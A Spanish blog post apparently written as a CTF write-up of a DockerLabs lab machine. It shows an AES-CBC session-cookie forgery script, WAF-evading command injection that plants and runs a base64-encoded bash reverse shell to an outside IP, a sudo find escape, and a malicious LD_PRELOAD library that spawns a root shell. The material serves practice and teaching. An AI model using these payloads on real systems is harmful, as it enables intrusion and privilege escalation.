Post

SECorNOTsec, DockerLabs

portada

Maquina SECorNOTsec de DockerLabs en ella deberemos manipular una cookie , buscar info leakeada , bypasear un waf he inyectar comando, movimieto lateral y elevar privilegios con sudo.

Herramientas y recursos

Tecnicas Herramientas objetivo
scan de puertos nmap Descubrimiento de servicios expuestos
Busqueda de directorios y ficheros feroxbuster descubrir info no visibloe
Cookie analisis bs64,xxd,python Ver datos , manipulacion , encriptacion
Session Manipulation Navegador (DevTools) Suplantar perfil de Administrador.
Sudo ABuse find , LD_PRELOAD aumentar privilegios

Reconocimiento y enumeracion

Lo primero como siempre le tiramos un nmap con los parámetros de costumbre y solo vemos el puerto 5000 asi que vamos a la pagina web.

1
sudo nmap -p- -sS -sC -sV --min-rate=5000 -n -Pn -oX secornot

reporte

guest

Como vemos en la imagen debemos ser admin para acceder a la consola , no podemos hacer nada en la pagina de inicio. Lo unico revisar la cookie aver que es.

Asi que nos la copiamos desde tools developer.

cookie

Para empezar hemos de saber si esta firmada , encriptada o ambas, yo la verdad voy haciendo y aprendiendo sobre la marcha

Lo primero que hago es tratar de ver el b64:

1
echo '6JmCIseGBxSEntdM4LWH8kM4nu9N/RocoWVhf8o1KXtmePv1ptCw/LQUCOW1XWTK' | base64 -d

bs64

Como vemos en la imagen es binario pero si le tiramos con

1
echo '6JmCIseGBxSEntdM4LWH8kM4nu9N/RocoWVhf8o1KXtmePv1ptCw/LQUCOW1XWTK' | base64 -d | xxd

Este comando de arriba nos devuelve el contenido pero yo quiero saber la longitud

1
echo '6JmCIseGBxSEntdM4LWH8kM4nu9N/RocoWVhf8o1KXtmePv1ptCw/LQUCOW1XWTK' | base64 -d | wc -c

Este ultimo nos devuelve 48 bytes

Analisis por longitud

longitud interpretacion
16 bytes Podría ser un solo bloque AES (con padding) o un hash
32 bytes Dos bloques AES, o AES-256 con IV incluido?
48 bytes IV (16) + Ciphertext (32) = AES con 2 bloques de datos
64 bytes IV (16) + Ciphertext (48) = 3 bloques de datos

Hasta aqui ya podemos interpretar que es un IV (16) + Ciphertext (32) por tanto para trabajarnos una cookie nosotros mismos faltarian un par de datos el IV: Initialization Vector y el key_secret, asi que vamos a buscralos fuzeando y revisando la web mas a fondo.

En el fuente encontramos el IV:

iv

Ahora nos falta el key secret que lo encuentro haciendo fuzzing en un archivo de backup

1
feroxbuster -u http://172.17.0.2:5000 -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -x bak,old,backup

Como ya tengo todos los datos necesario podriamos desencriptar la cookie y posteriormente crearnos una con los campos que creamos hemos de modificar. Para trabajar mas comodo a parti de que ya sabemos mas o menos como se construye esa cookie le pido a la ia que me cree unos scripts para analizar y crear las cookies

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
#!/usr/bin/env python3
"""
Herramienta para manipular cookies AES-CBC en CTF
Permite: descifrar, modificar JSON, re-cifrar, y generar nueva cookie
"""

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import base64
import json
import sys

# Introduce tus datos
KEY = b'XXXXXXXX'
IV = b'XXXXXXX'
cookie_base64 = "XXXXXXXXXX"

def decrypt_session(cookie_b64):
    """Descifra la cookie y devuelve el JSON como diccionario"""
    try:
        raw_data = base64.b64decode(cookie_b64)
        cipher = AES.new(KEY, AES.MODE_CBC, IV)
        decrypted = cipher.decrypt(raw_data)
        json_data = unpad(decrypted, AES.block_size)
        return json.loads(json_data.decode())
    except Exception as e:
        print(f"Error al descifrar: {e}")
        return None

def encrypt_session(data_dict):
    """Cifra un diccionario y devuelve la cookie en Base64"""
    try:
        # Convertir dict a JSON y luego a bytes
        json_str = json.dumps(data_dict, separators=(',', ':'))
        json_bytes = json_str.encode()

        # Aplicar padding PKCS7
        padded_data = pad(json_bytes, AES.block_size)

        # Cifrar
        cipher = AES.new(KEY, AES.MODE_CBC, IV)
        encrypted = cipher.encrypt(padded_data)

        # Codificar a Base64
        cookie_b64 = base64.b64encode(encrypted).decode()
        return cookie_b64
    except Exception as e:
        print(f"Error al cifrar: {e}")
        return None

def print_cookie_info(cookie_b64, title="Cookie"):
    """Muestra información detallada de la cookie"""
    print(f"\n{'='*60}")
    print(f"📦 {title}")
    print(f"{'='*60}")
    print(f"Base64: {cookie_b64}")

    raw = base64.b64decode(cookie_b64)
    print(f"Longitud: {len(raw)} bytes")
    print(f"Hex: {raw.hex()}")

    # Descifrar y mostrar contenido
    data = decrypt_session(cookie_b64)
    if data:
        print(f"\n📄 Contenido JSON:")
        print(json.dumps(data, indent=2))

    return data

def main():
    print("🔐 Cookie Cipher Tool - CTF")

    # 1. Mostrar cookie original
    original_data = print_cookie_info(cookie_base64, "COOKIE ORIGINAL")

    if not original_data:
        print("❌ No se pudo descifrar la cookie original")
        return

    # 2. Mostrar opciones de modificación
    print(f"\n{'='*60}")
    print("🛠️  OPCIONES DE MODIFICACIÓN")
    print(f"{'='*60}")
    print("1. Ver cookie actual")
    print("2. Modificar un campo específico")
    print("3. Editar JSON completo manualmente")
    print("4. Escalar privilegios (cambiar role a admin)")
    print("5. Generar nueva cookie y salir")

    modified_data = original_data.copy()

    while True:
        try:
            option = input(f"\n👉 Selecciona opción (1-5): ").strip()

            if option == '1':
                print(json.dumps(modified_data, indent=2))

            elif option == '2':
                print(f"Campos disponibles: {list(modified_data.keys())}")
                field = input("Campo a modificar: ").strip()
                if field in modified_data:
                    current = modified_data[field]
                    new_value = input(f"Valor actual: {current}\nNuevo valor: ").strip()

                    # Intentar convertir a número si corresponde
                    if isinstance(current, int):
                        try:
                            new_value = int(new_value)
                        except:
                            pass
                    elif isinstance(current, bool):
                        new_value = new_value.lower() in ['true', '1', 'yes']

                    modified_data[field] = new_value
                    print(f"✅ Campo '{field}' actualizado a: {new_value}")
                else:
                    print(f"❌ Campo '{field}' no existe")

            elif option == '3':
                print("Edita el JSON completo (formato válido):")
                print(json.dumps(modified_data, indent=2))
                new_json = input("\nPega el nuevo JSON: ").strip()
                try:
                    modified_data = json.loads(new_json)
                    print("✅ JSON actualizado correctamente")
                except json.JSONDecodeError as e:
                    print(f"❌ JSON inválido: {e}")

            elif option == '4':
                # Escalamiento automático de privilegios
                print("\n🚀 Escalando privilegios...")
                if 'role' in modified_data:
                    modified_data['role'] = 'admin'
                    print("✅ role → admin")
                if 'is_admin' in modified_data:
                    modified_data['is_admin'] = True
                    print("✅ is_admin → True")
                if 'user_type' in modified_data:
                    modified_data['user_type'] = 'administrator'
                    print("✅ user_type → administrator")
                if 'privileges' in modified_data:
                    modified_data['privileges'] = ['*', 'all', 'admin']
                    print("✅ privileges → ['*', 'all', 'admin']")
                if 'level' in modified_data:
                    modified_data['level'] = 9999
                    print("✅ level → 9999")

                # Buscar campos comunes de privilegios
                for field in modified_data.keys():
                    if any(x in field.lower() for x in ['admin', 'role', 'priv', 'level', 'type']):
                        print(f"⚠️  Revisa también: {field} = {modified_data[field]}")

            elif option == '5':
                # Generar y mostrar nueva cookie
                new_cookie = encrypt_session(modified_data)
                if new_cookie:
                    print("\n" + "="*60)
                    print("🍪 NUEVA COOKIE GENERADA")
                    print("="*60)
                    print(f"Base64: {new_cookie}")
                    print(f"\nLongitud: {len(base64.b64decode(new_cookie))} bytes")

                    # Verificar que se puede descifrar correctamente
                    verify = decrypt_session(new_cookie)
                    if verify:
                        print("\n✅ Verificación exitosa - La cookie es válida")
                        print("\n📋 Para usar en el CTF:")
                        print(f"Cookie: {new_cookie}")
                        print("\n⚠️  RECUERDA: Usa esta cookie en tu navegador o con curl:")
                        print(f'curl -b "session={new_cookie}" http://target.com/flag')
                    break
            else:
                print("Opción inválida")

        except KeyboardInterrupt:
            print("\n\n👋 Saliendo...")
            break
        except Exception as e:
            print(f"❌ Error: {e}")

if __name__ == "__main__":
    # Si se pasa una cookie como argumento, solo descifrar
    if len(sys.argv) > 1:
        cookie = sys.argv[1]
        data = decrypt_session(cookie)
        if data:
            print(json.dumps(data, indent=2))
        else:
            print("Error al descifrar")
    else:
        main()

Que obtengo:

originalcookie

opciones

Como vemos en la cookie oiriginal tinene un campo is_admin asi que vamos a modificar ese primero. Para ello y siguinedo el script seguimos esta secuencia:

  • Seleciono 2
  • Eligjo el campo que quiero modificar
  • Y le asigno el valor
  • Como ultimo paso pulso 5 para que me genere la cookie

modifi

1
MvmSmNX4jNO9LLsiMF1lL6SnK/D7mXyKP/pDEoJdpaxYO02KtBmu2KCfDHGrJr9v

El siguente paso es pegar esa cadena bs64 en dev tools de tu navegador y refrescamos la web.

webterm

Si hacemos algunas pruebas nos alta el waf.

waf

Una vez que sabemos como lo podemos bypasear lo suyo sera tratar de mandarnos una revshell..

id

Asi que vamos a encodearla en bs64 y guardarla en un fichero en tmp.

1
1.1.1.1 & echo "L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMTguMTQvMTE4OCAwPiYx" > /tmp/rev.bs64

rev

En principio la tenemos subida con exito ahora hay que ejecutarla.

1
& base64 -d </tmp/rev.bs64 >/tmp/sh & ba\sh /tmp/sh

Ponte a la escucha antes de ejecutar con los puertos que tu hallas configurado. Estamos dentro y nos hemos olvidado find asi que lo abusamos.

find

1
sudo -u chocolate /usr/bin/find . -exec /bin/sh \; -quit

Ahora somos chocolate y nos encontramos con esto al hacer sudo -l al parecer nos dejan manejar las variables de entorno.

sudo-cho

MEjoramos la shell

1
python3 -c 'import pty; pty.spawn("/bin/bash")'

Vamos a meter una libreria maliciosa que nos de una bash privilegiada , asi que me despalazo a tmp a meter todo ahi.

  • El fichero en c para que nos de una bash privilegiada.

Codigo libreria

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
cat > /tmp/exploit.c << 'EOF'
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>

__attribute__((constructor))
void shell() {
    setresuid(0, 0, 0);
    setresgid(0, 0, 0);
    unsetenv("LD_PRELOAD");
    system("/bin/bash");
}
EOF

  • Con el codigo en la maquina lo compilamos
1
gcc -fPIC -shared -o /tmp/malicius.so exploit.c -nostartfiles

Y se nos a de haber creado la liberia

lib

Solo faltaria ejecutarlo (perdon por confundir las imagenes hice varias pruebas de compilaciony algunas no funcionaron)

root

hasta aqui esta cosa rara de cookies un saludo y disfruten y compartan

This post is licensed under CC BY 4.0 by the author.

Comments powered by Disqus.